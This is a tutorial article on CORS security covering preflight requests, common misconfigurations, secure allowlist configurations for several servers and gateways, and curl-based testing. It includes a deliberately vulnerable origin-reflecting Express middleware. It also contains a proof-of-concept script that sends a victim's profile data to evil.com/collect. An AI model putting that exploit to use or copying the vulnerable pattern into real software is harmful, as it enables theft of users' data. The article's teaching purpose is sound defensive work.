CORS Security: Configuring Cross-Origin Policies
The Same-Origin Policy (SOP) is the web's fundamental security boundary. It prevents JavaScript running on `evil.com` from reading responses to requests made to `bank.com`. Without it, any website...
Key Insights
- CORS misconfigurations are among the most common web security vulnerabilities—reflecting the Origin header without validation or using wildcards with credentials can expose your users to data theft and account takeover attacks.
- The preflight request mechanism exists to protect servers from unexpected cross-origin requests, but many developers bypass it incorrectly or configure it too permissively, negating its security benefits.
- Implement CORS at the appropriate layer (gateway vs. service), use strict origin allowlists, and never trust client-provided Origin headers without validation against a known-good list.
What is CORS and Why It Exists
The Same-Origin Policy (SOP) is the web’s fundamental security boundary. It prevents JavaScript running on evil.com from reading responses to requests made to bank.com. Without it, any website could steal your session data, read your emails, or drain your accounts.
CORS (Cross-Origin Resource Sharing) is the controlled mechanism for relaxing this policy when legitimate cross-origin communication is needed. Your frontend at app.example.com needs to call your API at api.example.com—CORS makes this possible without opening the floodgates.
Here’s what happens during a CORS preflight request:
Browser Server
| |
|-- OPTIONS /api/data ----------->| (Preflight request)
| Origin: https://app.example.com
| Access-Control-Request-Method: POST
| Access-Control-Request-Headers: Content-Type
| |
|<- 200 OK -----------------------| (Preflight response)
| Access-Control-Allow-Origin: https://app.example.com
| Access-Control-Allow-Methods: POST, GET
| Access-Control-Allow-Headers: Content-Type
| Access-Control-Max-Age: 86400
| |
|-- POST /api/data -------------->| (Actual request)
| Origin: https://app.example.com
| |
|<- 200 OK -----------------------| (Actual response)
| Access-Control-Allow-Origin: https://app.example.com
The security problems CORS prevents are severe: Cross-Site Request Forgery (CSRF) attacks, sensitive data exfiltration, and unauthorized API access. When configured incorrectly, you’ve essentially disabled a core browser security feature.
How CORS Works: Headers and Preflight Requests
Four headers control CORS behavior:
Access-Control-Allow-Origin: Specifies which origin(s) can access the resource. Can be a specific origin, * (wildcard), or null.
Access-Control-Allow-Methods: Lists HTTP methods permitted for cross-origin requests (GET, POST, PUT, DELETE, etc.).
Access-Control-Allow-Headers: Specifies which request headers the client can use beyond the “CORS-safelisted” headers.
Access-Control-Allow-Credentials: When true, allows cookies and authorization headers to be included in cross-origin requests.
Simple requests (GET, HEAD, POST with standard content types) skip preflight. Everything else triggers an OPTIONS preflight request first.
Here’s what you’ll see in browser DevTools for a cross-origin API call:
# Request Headers (from browser)
OPTIONS /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type, authorization
# Response Headers (from server)
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
The Access-Control-Max-Age header tells browsers to cache the preflight response, reducing latency for subsequent requests.
Common CORS Misconfigurations and Vulnerabilities
Most CORS vulnerabilities stem from three patterns:
1. Wildcard with credentials: You cannot use Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers block this, but some developers work around it dangerously.
2. Reflecting Origin without validation: The laziest “fix” for CORS issues—and the most dangerous:
// VULNERABLE: Never do this
app.use((req, res, next) => {
// Reflects ANY origin - attacker-controlled domains included
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
3. Overly permissive methods/headers: Allowing DELETE or PUT when only GET is needed expands your attack surface unnecessarily.
Here’s a proof-of-concept exploit against a vulnerable configuration:
<!-- Hosted on https://evil.com -->
<script>
// If target.com reflects any origin with credentials,
// this script can steal user data
fetch('https://vulnerable-api.com/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate stolen data to attacker's server
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
When a victim visits evil.com while logged into vulnerable-api.com, their profile data gets stolen. This is why origin validation matters.
Secure CORS Configuration Patterns
The secure approach is explicit allowlisting. Here’s a properly configured Express.js middleware:
const allowedOrigins = new Set([
'https://app.example.com',
'https://admin.example.com',
'https://staging.example.com'
]);
// For development only - never in production
if (process.env.NODE_ENV === 'development') {
allowedOrigins.add('http://localhost:3000');
}
const corsMiddleware = (req, res, next) => {
const origin = req.headers.origin;
if (origin && allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '86400');
}
if (req.method === 'OPTIONS') {
return res.status(204).end();
}
next();
};
app.use(corsMiddleware);
For Nginx, configure CORS at the reverse proxy level:
server {
listen 443 ssl;
server_name api.example.com;
# Map to validate origins
set $cors_origin "";
if ($http_origin ~* "^https://(app|admin|staging)\.example\.com$") {
set $cors_origin $http_origin;
}
location /api/ {
# Only set headers if origin is valid
if ($cors_origin != "") {
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE' always;
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization' always;
add_header 'Access-Control-Max-Age' '86400' always;
}
# Handle preflight
if ($request_method = 'OPTIONS') {
return 204;
}
proxy_pass http://backend;
}
}
Spring Boot configuration with proper validation:
@Configuration
public class CorsConfig implements WebMvcConfigurer {
private static final Set<String> ALLOWED_ORIGINS = Set.of(
"https://app.example.com",
"https://admin.example.com"
);
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOriginPatterns("https://*.example.com")
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("Content-Type", "Authorization")
.allowCredentials(true)
.maxAge(86400);
}
@Bean
public CorsFilter corsFilter() {
return new CorsFilter(request -> {
String origin = request.getHeader("Origin");
if (origin != null && ALLOWED_ORIGINS.contains(origin)) {
CorsConfiguration config = new CorsConfiguration();
config.setAllowedOrigins(List.of(origin));
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE"));
config.setAllowCredentials(true);
return config;
}
return null;
});
}
}
CORS for APIs and Microservices
In microservices architectures, decide where CORS belongs:
Gateway-level CORS (recommended): Configure CORS once at the API gateway. Internal services don’t need CORS headers since they communicate server-to-server.
Service-level CORS: Each service manages its own CORS policy. More flexible but harder to maintain consistently.
Here’s an AWS API Gateway CORS configuration via CloudFormation:
Resources:
ApiGateway:
Type: AWS::ApiGatewayV2::Api
Properties:
Name: MySecureApi
ProtocolType: HTTP
CorsConfiguration:
AllowOrigins:
- "https://app.example.com"
- "https://admin.example.com"
AllowMethods:
- GET
- POST
- PUT
- DELETE
AllowHeaders:
- Content-Type
- Authorization
AllowCredentials: true
MaxAge: 86400
For Kong API Gateway:
plugins:
- name: cors
config:
origins:
- "https://app.example.com"
- "https://admin.example.com"
methods:
- GET
- POST
- PUT
- DELETE
headers:
- Content-Type
- Authorization
credentials: true
max_age: 86400
For internal service-to-service communication, skip CORS entirely. Use mutual TLS or service mesh authentication instead—CORS is a browser security feature, not a server-to-server concern.
Testing and Debugging CORS Issues
Use curl to simulate preflight requests:
# Simulate preflight request
curl -X OPTIONS https://api.example.com/api/users \
-H "Origin: https://app.example.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type, Authorization" \
-v
# Test actual request with credentials
curl -X GET https://api.example.com/api/users \
-H "Origin: https://app.example.com" \
-H "Cookie: session=abc123" \
-v
Automated test script to validate your CORS policy:
#!/bin/bash
API_URL="https://api.example.com/api/health"
# Test cases: origin -> expected result
declare -A tests=(
["https://app.example.com"]="ALLOW"
["https://admin.example.com"]="ALLOW"
["https://evil.com"]="DENY"
["https://app.example.com.evil.com"]="DENY"
["null"]="DENY"
)
for origin in "${!tests[@]}"; do
expected="${tests[$origin]}"
response=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Origin: $origin" \
-H "Access-Control-Request-Method: GET" \
-X OPTIONS "$API_URL")
acao=$(curl -s -I -H "Origin: $origin" -X OPTIONS "$API_URL" | \
grep -i "access-control-allow-origin" | tr -d '\r')
if [[ "$expected" == "ALLOW" && "$acao" == *"$origin"* ]]; then
echo "✓ $origin: Correctly allowed"
elif [[ "$expected" == "DENY" && -z "$acao" ]]; then
echo "✓ $origin: Correctly denied"
else
echo "✗ $origin: FAILED (expected $expected, got: $acao)"
fi
done
Checklist: CORS Security Best Practices
Origin Validation
- Use explicit allowlist of trusted origins
- Never reflect Origin header without validation
- Reject
nullorigin (used in sandboxed iframes and redirects) - Validate subdomains explicitly—don’t trust regex patterns blindly
Credential Handling
- Only enable
Access-Control-Allow-Credentialswhen necessary - Never combine wildcard (
*) with credentials - Use
SameSitecookie attribute alongside CORS
Header and Method Restrictions
- Allow only required HTTP methods
- Restrict allowed headers to what’s actually needed
- Set appropriate
Access-Control-Max-Age(balance caching vs. policy updates)
Architecture
- Configure CORS at API gateway for consistency
- Skip CORS for internal service communication
- Use environment-specific configurations (stricter in production)
Monitoring
- Log rejected CORS requests for security monitoring
- Include CORS testing in CI/CD pipeline
- Regularly audit CORS configurations across services
CORS is deceptively simple to configure and remarkably easy to get wrong. The path of least resistance—reflecting any origin—is also the path to a security breach. Take the time to implement proper origin validation, and your users’ data stays where it belongs.